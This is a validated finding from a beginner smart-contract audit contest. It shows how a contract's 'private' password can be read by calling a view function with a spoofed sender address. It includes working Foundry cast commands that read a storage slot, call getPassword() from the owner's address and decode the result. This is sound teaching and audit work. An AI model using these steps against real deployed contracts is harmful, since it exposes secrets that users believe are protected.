Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

getPassword() uses msg.sender which can be spoofed

Summary

The getPassword() function is a view which can be called with arbitrary msg.sender as it does not require a transaction.

Vulnerability Details

If the attacker knows the address of the s_owner they can call the getPassword() function, spoofing the msg.sender as that of the owner, resulting in disclosing the password.

The s_owner address can be obtained by using cast storage to read the value of the variable if the address of the contract is known.

First, obtain the address of s_owner by reading storage slot 0 of the contract:

$ cast storage 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 0
0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266

The address of s_owner will be the right hand half: 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266.

Pass this address as the from address via a cast call:

$ cast call --from 0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 "ge
tPassword()"
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a6d7950617373776f726400000000000000000000000000000000000000000000

Pass the returned value to to-ascii to read the value:

$ cast --to-ascii 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a6d7950617373776f726400000000000000000000000000000000000000000000
myPassword

You can see that the value of myPassword was obtained, without knowing the private key of the s_owner address.

Impact

The value of password which should only be accessible by the contract owner is actually accessible by any account.

Tools Used

  • foundry

  • cast

Recommendations

Require calls to getPassword() to be a transaction, which will require msg.sender to be valid. Alternatively, you can implement a public/private key setup, where the getPassword() function accepts input of a signed message, this signature is then validated by the function using the public key, and only revealing the password after the signature is validated.

Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.